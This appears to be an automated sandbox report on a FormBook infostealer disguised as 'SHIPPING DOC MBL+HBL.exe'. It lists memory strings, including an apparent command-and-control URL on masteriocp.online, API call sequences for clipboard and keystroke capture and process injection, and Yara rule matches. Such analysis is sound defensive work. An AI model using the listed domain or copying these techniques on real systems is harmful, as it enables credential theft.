Source: netbtugc.exe, 00000006.00000002.3565934863.000000000329F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: netbtugc.exe, 00000006.00000003.2359661793.000000000800F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: netbtugc.exe, 00000006.00000002.3569382818.00000000065A0000.00000004.00000800.00020000.00000000.sdmp, netbtugc.exe, 00000006.00000002.3567902266.0000000004CF2000.00000004.10000000.00040000.00000000.sdmp, PrWIbKXhdqUKk.exe, 00000008.00000002.3567310528.0000000003732000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: netbtugc.exe, 00000006.00000003.2367744209.0000000008028000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: netbtugc.exe, 00000006.00000002.3567902266.0000000004518000.00000004.10000000.00040000.00000000.sdmp, PrWIbKXhdqUKk.exe, 00000008.00000002.3567310528.0000000002F58000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.masteriocp.online/p5rq/?gd=RytyLV2sDE3KAjiSkyiXOnQjrJMqpEw2xv60Q0DZuFoqqvUh/Zvb/zR4

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E7407C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00E7407C

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E7427A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00E7427A

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

0_2_00E7407C

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E6003A GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_00E6003A

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E8CB26 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_00E8CB26

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2131318736.00000000030D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3566928575.0000000003400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3568694635.0000000004C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2129407938.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3567072049.0000000003580000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3565538257.0000000003050000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3567001047.00000000036E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2132245829.0000000004200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.2131318736.00000000030D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3566928575.0000000003400000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.3568694635.0000000004C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.2129407938.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3567072049.0000000003580000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3565538257.0000000003050000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3567001047.00000000036E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.2132245829.0000000004200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: This is a third-party compiled AutoIt script.	0_2_00E03B4C
Source: SHIPPING DOC MBL+HBL.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: SHIPPING DOC MBL+HBL.exe, 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_5dd6c1dc-6
Source: SHIPPING DOC MBL+HBL.exe, 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer"	memstr_cde0112f-4
Source: SHIPPING DOC MBL+HBL.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_28e6c405-b
Source: SHIPPING DOC MBL+HBL.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer"	memstr_06c503c5-4

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042C4F3 NtClose,	1_2_0042C4F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272B60 NtClose,LdrInitializeThunk,	1_2_03272B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272DF0 NtQuerySystemInformation,LdrInitializeThunk,	1_2_03272DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272C70 NtFreeVirtualMemory,LdrInitializeThunk,	1_2_03272C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032735C0 NtCreateMutant,LdrInitializeThunk,	1_2_032735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03274340 NtSetContextThread,	1_2_03274340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03274650 NtSuspendThread,	1_2_03274650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272BA0 NtEnumerateValueKey,	1_2_03272BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272B80 NtQueryInformationFile,	1_2_03272B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272BE0 NtQueryValueKey,	1_2_03272BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272BF0 NtAllocateVirtualMemory,	1_2_03272BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272AB0 NtWaitForSingleObject,	1_2_03272AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272AF0 NtWriteFile,	1_2_03272AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272AD0 NtReadFile,	1_2_03272AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272F30 NtCreateSection,	1_2_03272F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272F60 NtCreateProcessEx,	1_2_03272F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272FA0 NtQuerySection,	1_2_03272FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272FB0 NtResumeThread,	1_2_03272FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272F90 NtProtectVirtualMemory,	1_2_03272F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272FE0 NtCreateFile,	1_2_03272FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272E30 NtWriteVirtualMemory,	1_2_03272E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272EA0 NtAdjustPrivilegesToken,	1_2_03272EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272E80 NtReadVirtualMemory,	1_2_03272E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272EE0 NtQueueApcThread,	1_2_03272EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272D30 NtUnmapViewOfSection,	1_2_03272D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272D00 NtSetInformationFile,	1_2_03272D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272D10 NtMapViewOfSection,	1_2_03272D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272DB0 NtEnumerateKey,	1_2_03272DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272DD0 NtDelayExecution,	1_2_03272DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272C00 NtQueryInformationProcess,	1_2_03272C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272C60 NtCreateKey,	1_2_03272C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272CA0 NtQueryInformationToken,	1_2_03272CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272CF0 NtOpenProcess,	1_2_03272CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03272CC0 NtQueryVirtualMemory,	1_2_03272CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03273010 NtOpenDirectoryObject,	1_2_03273010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03273090 NtSetValueKey,	1_2_03273090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032739B0 NtGetContextThread,	1_2_032739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03273D10 NtOpenProcessToken,	1_2_03273D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03273D70 NtOpenThread,	1_2_03273D70

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E6A279: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00E6A279

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E58638 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00E58638

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe

Code function: 0_2_00E65264 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00E65264

Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E0E800	0_2_00E0E800
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E2DAF5	0_2_00E2DAF5
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E0FE40	0_2_00E0FE40
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E0E060	0_2_00E0E060
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E14140	0_2_00E14140
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E22345	0_2_00E22345
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E80465	0_2_00E80465
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E36452	0_2_00E36452
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E325AE	0_2_00E325AE
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E2277A	0_2_00E2277A
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E808E2	0_2_00E808E2
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E16841	0_2_00E16841
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E369C4	0_2_00E369C4
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E18968	0_2_00E18968
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E5E928	0_2_00E5E928
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E68932	0_2_00E68932
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E3890F	0_2_00E3890F
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E2CCA1	0_2_00E2CCA1
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E36F36	0_2_00E36F36
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E170FE	0_2_00E170FE
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E13190	0_2_00E13190
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E01287	0_2_00E01287
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E2F359	0_2_00E2F359
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E23307	0_2_00E23307
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E15680	0_2_00E15680
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E21604	0_2_00E21604
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E158C0	0_2_00E158C0
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E27813	0_2_00E27813
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E21AF8	0_2_00E21AF8
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E39C35	0_2_00E39C35
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E87E0D	0_2_00E87E0D
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E2BF26	0_2_00E2BF26
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00E21F10	0_2_00E21F10
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: 0_2_00FEADF8	0_2_00FEADF8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418573	1_2_00418573
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00410033	1_2_00410033
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403097	1_2_00403097
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004030A0	1_2_004030A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E0B3	1_2_0040E0B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402A30	1_2_00402A30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042EAD3	1_2_0042EAD3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403430	1_2_00403430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004024D0	1_2_004024D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040FE13	1_2_0040FE13
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004026A0	1_2_004026A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041674E	1_2_0041674E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00416753	1_2_00416753
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FA352	1_2_032FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324E3F0	1_2_0324E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033003E6	1_2_033003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0274	1_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C02C0	1_2_032C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230100	1_2_03230100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DA118	1_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032C8158	1_2_032C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F41A2	1_2_032F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033001AA	1_2_033001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F81CC	1_2_032F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D2000	1_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240770	1_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03264750	1_2_03264750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323C7C0	1_2_0323C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325C6E0	1_2_0325C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240535	1_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03300591	1_2_03300591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E4420	1_2_032E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F2446	1_2_032F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EE4F6	1_2_032EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FAB40	1_2_032FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F6BD7	1_2_032F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323EA80	1_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03256962	1_2_03256962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032429A0	1_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0330A9A6	1_2_0330A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324A840	1_2_0324A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03242840	1_2_03242840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032268B8	1_2_032268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0326E8F0	1_2_0326E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03282F28	1_2_03282F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03260F30	1_2_03260F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E2F30	1_2_032E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B4F40	1_2_032B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032BEFA0	1_2_032BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03232FC8	1_2_03232FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FEE26	1_2_032FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240E59	1_2_03240E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03252E90	1_2_03252E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FCE93	1_2_032FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FEEDB	1_2_032FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324AD00	1_2_0324AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DCD1F	1_2_032DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03258DBF	1_2_03258DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0323ADE0	1_2_0323ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03240C00	1_2_03240C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E0CB5	1_2_032E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03230CF2	1_2_03230CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F132D	1_2_032F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322D34C	1_2_0322D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0328739A	1_2_0328739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032452A0	1_2_032452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E12ED	1_2_032E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325D2F0	1_2_0325D2F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325B2C0	1_2_0325B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0327516C	1_2_0327516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0322F172	1_2_0322F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0330B16B	1_2_0330B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0324B1B0	1_2_0324B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F70E9	1_2_032F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FF0E0	1_2_032FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EF0CC	1_2_032EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032470C0	1_2_032470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FF7B0	1_2_032FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03285630	1_2_03285630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F16CC	1_2_032F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F7571	1_2_032F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DD5B0	1_2_032DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033095C3	1_2_033095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FF43F	1_2_032FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03231460	1_2_03231460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FFB76	1_2_032FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325FB80	1_2_0325FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B5BF0	1_2_032B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0327DBF9	1_2_0327DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B3A6C	1_2_032B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FFA49	1_2_032FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F7A46	1_2_032F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032DDAAC	1_2_032DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03285AA0	1_2_03285AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032E1AA3	1_2_032E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032EDAC6	1_2_032EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032D5910	1_2_032D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03249950	1_2_03249950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325B950	1_2_0325B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032AD800	1_2_032AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032438E0	1_2_032438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FFF09	1_2_032FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FFFB1	1_2_032FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03241F92	1_2_03241F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03203FD2	1_2_03203FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03203FD5	1_2_03203FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03249EB0	1_2_03249EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F7D73	1_2_032F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03243D40	1_2_03243D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032F1D5A	1_2_032F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0325FDC0	1_2_0325FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032B9C32	1_2_032B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_032FFCF2	1_2_032FFCF2

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03287E54 appears 107 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03275130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0322B970 appears 262 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 032AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 032BF290 appears 103 times
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: String function: 00E28A80 appears 42 times
Source: C:\Users\user\Desktop\SHIPPING DOC MBL+HBL.exe	Code function: String function: 00E07F41 appears 35 times
